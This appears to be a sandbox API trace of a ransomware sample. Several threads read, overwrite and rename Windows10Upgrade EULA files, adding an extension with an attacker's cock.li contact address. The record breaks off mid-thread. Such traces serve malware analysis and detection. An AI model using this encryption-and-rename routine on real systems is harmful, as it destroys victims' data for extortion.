	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0xa9ecf56a
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0x7a34844d
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0xa47a10a
	[0087.990] SetFilePointerEx (in: hFile=0x1b38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.991] ReadFile (in: hFile=0x1b38, lpBuffer=0x4eaf810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2ad3fa54, lpOverlapped=0x0 | out: lpBuffer=0x4eaf810*, lpNumberOfBytesRead=0x2ad3fa54*=0xc800, lpOverlapped=0x0) returned 1
	[0087.994] SetFilePointerEx (in: hFile=0x1b38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0087.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0087.994] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0087.995] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f17820
	[0087.996] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781468
	[0087.996] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814b8
	[0087.996] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814b8) returned 1
	[0087.996] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.996] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0087.996] WriteFile (in: hFile=0x1b38, lpBuffer=0x4f17820*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2ad3fa54, lpOverlapped=0x0 | out: lpBuffer=0x4f17820*, lpNumberOfBytesWritten=0x2ad3fa54*=0xc800, lpOverlapped=0x0) returned 1
	[0087.998] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f17820) returned 1
	[0087.998] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eaf810) returned 1
	[0087.998] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x2e45ff8
	[0087.998] SetFilePointerEx (in: hFile=0x1b38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.998] WriteFile (in: hFile=0x1b38, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2ad3fad4, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2ad3fad4*=0x10d, lpOverlapped=0x0) returned 1
	[0088.000] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.000] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e45b28) returned 1
	[0088.000] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0088.000] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e45ff8) returned 1
	[0088.000] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781468) returned 1
	[0088.000] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0088.000] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781490) returned 1
	[0088.000] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781788) returned 1
	[0088.000] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.000] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm"
	[0088.000] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.000] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2ad3fa8c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.000] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.000] NtSetInformationFile (FileHandle=0x1b38, IoStatusBlock=0x2ad3fa84, FileInformation=0x47ea060, Length=0xc6, FileInformationClass=0xa) returned 0x0
	[0088.002] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.002] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.002] NtQueryInformationFile (in: FileHandle=0x1b38, IoStatusBlock=0x2ad3fa98, FileInformation=0x2ad3fa70, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ad3fa98, FileInformation=0x2ad3fa70) returned 0x0
	[0088.003] NtSetInformationFile (FileHandle=0x1b38, IoStatusBlock=0x2ad3fa98, FileInformation=0x2ad3fa70, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.003] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.003] FlushFileBuffers (hFile=0x1b38) returned 1
	[0093.249] CloseHandle (hObject=0x1b38) 

Thread:
	id = 1234
	os_tid = 0x1fb4

	[0087.997] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_de-de.htm")) returned 0x20
	[0088.001] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm", dwFileAttributes=0x20) returned 1
	[0088.001] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_de-de.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b3c
	[0088.001] GetFileSizeEx (in: hFile=0x1b3c, lpFileSize=0x2adbfb00 | out: lpFileSize=0x2adbfb00*=70461) returned 1
	[0088.001] SetFilePointerEx (in: hFile=0x1b3c, liDistanceToMove=0x11339, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.001] ReadFile (in: hFile=0x1b3c, lpBuffer=0x2adbfa84, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2adbfa80, lpOverlapped=0x0 | out: lpBuffer=0x2adbfa84*, lpNumberOfBytesRead=0x2adbfa80*=0x4, lpOverlapped=0x0) returned 1
	[0088.004] SetFilePointerEx (in: hFile=0x1b3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.004] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0088.004] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0088.004] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781558
	[0088.004] NtQuerySystemTime (in: CurrentTime=0x2adbfa60 | out: CurrentTime=0x2adbfa60*=132251868147412982) returned 0x0
	[0088.004] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0x7b3b0dd9
	[0088.004] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0xd0f8474c
	[0088.004] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0xa296d9ee
	[0088.004] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0xa8eeceb2
	[0088.004] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0xb1be2ee
	[0088.004] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0x7aa85673
	[0088.004] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0x638a5d73
	[0088.004] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0x7e106481
	[0088.004] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0x8869d99f
	[0088.004] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0x48f3fa1a
	[0088.004] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0x33346e22
	[0088.004] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0xa007b6d9
	[0088.004] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0x274283d5
	[0088.004] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0xafd5a95d
	[0088.004] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0xbcb0a408
	[0088.004] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0xb32c9903
	[0088.004] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0xf5127d63
	[0088.004] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0x93bc53c8
	[0088.004] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0xf6e974a0
	[0088.004] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0xba9ec921
	[0088.004] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0xfe1e923a
	[0088.004] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0x71555021
	[0088.004] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0x4bed40d9
	[0088.004] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0xe2ca985b
	[0088.005] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0xf666bc53
	[0088.005] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0xd95b1220
	[0088.005] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0x9f5d39ee
	[0088.005] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0xbc945fab
	[0088.005] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0xdf68a9b5
	[0088.005] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0x9ed6cb44
	[0088.005] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0x4397de3a
	[0088.005] RtlRandom (in: Seed=0x2adbfa6c | out: Seed=0x2adbfa6c) returned 0x83d6907a
	[0088.013] SetFilePointerEx (in: hFile=0x1b3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.013] ReadFile (in: hFile=0x1b3c, lpBuffer=0x4eaf810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2adbfa40, lpOverlapped=0x0 | out: lpBuffer=0x4eaf810*, lpNumberOfBytesRead=0x2adbfa40*=0xc800, lpOverlapped=0x0) returned 1
	[0088.014] SetFilePointerEx (in: hFile=0x1b3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.014] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.014] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.014] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0088.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0088.015] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f17820
	[0088.016] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781468
	[0088.016] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0088.016] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0088.016] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.016] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.016] WriteFile (in: hFile=0x1b3c, lpBuffer=0x4f17820*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2adbfa40, lpOverlapped=0x0 | out: lpBuffer=0x4f17820*, lpNumberOfBytesWritten=0x2adbfa40*=0xc800, lpOverlapped=0x0) returned 1
	[0088.018] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f17820) returned 1
	[0088.018] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eaf810) returned 1
	[0088.018] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x2e45ff8
	[0088.018] SetFilePointerEx (in: hFile=0x1b3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.018] WriteFile (in: hFile=0x1b3c, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2adbfac0, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2adbfac0*=0x10d, lpOverlapped=0x0) returned 1
	[0088.020] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.020] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e45b28) returned 1
	[0088.020] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0088.020] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e45ff8) returned 1
	[0088.020] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781468) returned 1
	[0088.020] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0088.020] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813c8) returned 1
	[0088.020] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781760) returned 1
	[0088.020] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.020] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm"
	[0088.020] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.020] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2adbfa78, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.020] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.020] NtSetInformationFile (FileHandle=0x1b3c, IoStatusBlock=0x2adbfa70, FileInformation=0x47ea060, Length=0xc6, FileInformationClass=0xa) returned 0x0
	[0088.021] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.021] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.021] NtQueryInformationFile (in: FileHandle=0x1b3c, IoStatusBlock=0x2adbfa84, FileInformation=0x2adbfa5c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2adbfa84, FileInformation=0x2adbfa5c) returned 0x0
	[0088.021] NtSetInformationFile (FileHandle=0x1b3c, IoStatusBlock=0x2adbfa84, FileInformation=0x2adbfa5c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.022] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.022] FlushFileBuffers (hFile=0x1b3c) returned 1
	[0093.249] CloseHandle (hObject=0x1b3c) 

Thread:
	id = 1235
	os_tid = 0x1fb8

	[0088.016] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_el-gr.htm")) returned 0x20
	[0088.017] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm", dwFileAttributes=0x20) returned 1
	[0088.017] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_el-gr.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b40
	[0088.017] GetFileSizeEx (in: hFile=0x1b40, lpFileSize=0x2ae3fa9c | out: lpFileSize=0x2ae3fa9c*=239446) returned 1
	[0088.017] SetFilePointerEx (in: hFile=0x1b40, liDistanceToMove=0x3a752, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.017] ReadFile (in: hFile=0x1b40, lpBuffer=0x2ae3fa20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ae3fa1c, lpOverlapped=0x0 | out: lpBuffer=0x2ae3fa20*, lpNumberOfBytesRead=0x2ae3fa1c*=0x4, lpOverlapped=0x0) returned 1
	[0088.024] SetFilePointerEx (in: hFile=0x1b40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.024] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0088.024] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0088.024] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781558
	[0088.024] NtQuerySystemTime (in: CurrentTime=0x2ae3f9fc | out: CurrentTime=0x2ae3f9fc*=132251868147570066) returned 0x0
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0xa22e48df
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0xe9844a80
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0x3524507d
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0xc299ab6f
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0x7c5523a3
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0x2519d138
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0xb6bd7236
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0x1668c81d
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0x6b9f01da
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0x92c753b5
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0x96356e5b
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0x49540433
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0xd9f2650e
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0xe39b9022
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0x2d857d2c
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0x2c28360
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0x1a3f8bdf
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0x125ae2bb
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0x2ad75c54
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0x80f6e604
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0xe40dfb2
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0x2b2c1424
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0x33937627
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0xa2359e24
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0xd95e4c4b
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0x29a267b3
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0xd9d0cd99
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0x13eec7
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0xaf3144c9
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0x11ff3053
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0x5a0ab99a
	[0088.024] RtlRandom (in: Seed=0x2ae3fa08 | out: Seed=0x2ae3fa08) returned 0xca911376
	[0088.033] SetFilePointerEx (in: hFile=0x1b40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.033] ReadFile (in: hFile=0x1b40, lpBuffer=0x4eaf810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2ae3f9dc, lpOverlapped=0x0 | out: lpBuffer=0x4eaf810*, lpNumberOfBytesRead=0x2ae3f9dc*=0xc800, lpOverlapped=0x0) returned 1
	[0088.034] SetFilePointerEx (in: hFile=0x1b40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.034] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.034] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.034] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0088.034] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0088.035] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f17820
	[0088.035] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781468
	[0088.035] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0088.036] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0088.036] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.036] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.036] WriteFile (in: hFile=0x1b40, lpBuffer=0x4f17820*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2ae3f9dc, lpOverlapped=0x0 | out: lpBuffer=0x4f17820*, lpNumberOfBytesWritten=0x2ae3f9dc*=0xc800, lpOverlapped=0x0) returned 1
	[0093.135] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f17820) returned 1
	[0093.135] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eaf810) returned 1
	[0093.135] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x50591b0
	[0093.135] SetFilePointerEx (in: hFile=0x1b40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.135] WriteFile (hFile=0x1b40, lpBuffer=0x2d89108, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2ae3fa5c, lpOverlapped=0x0) 

Thread:
	id = 1236
	os_tid = 0x1fbc

	[0088.023] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-gb.htm")) returned 0x20
	[0088.033] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm", dwFileAttributes=0x20) returned 1
	[0088.033] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-gb.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b44
	[0088.037] GetFileSizeEx (in: hFile=0x1b44, lpFileSize=0x2aebf9d8 | out: lpFileSize=0x2aebf9d8*=58549) returned 1
	[0088.037] SetFilePointerEx (in: hFile=0x1b44, liDistanceToMove=0xe4b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.037] ReadFile (in: hFile=0x1b44, lpBuffer=0x2aebf95c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2aebf958, lpOverlapped=0x0 | out: lpBuffer=0x2aebf95c*, lpNumberOfBytesRead=0x2aebf958*=0x4, lpOverlapped=0x0) returned 1
	[0088.038] SetFilePointerEx (in: hFile=0x1b44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.038] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0088.038] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0088.038] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781558
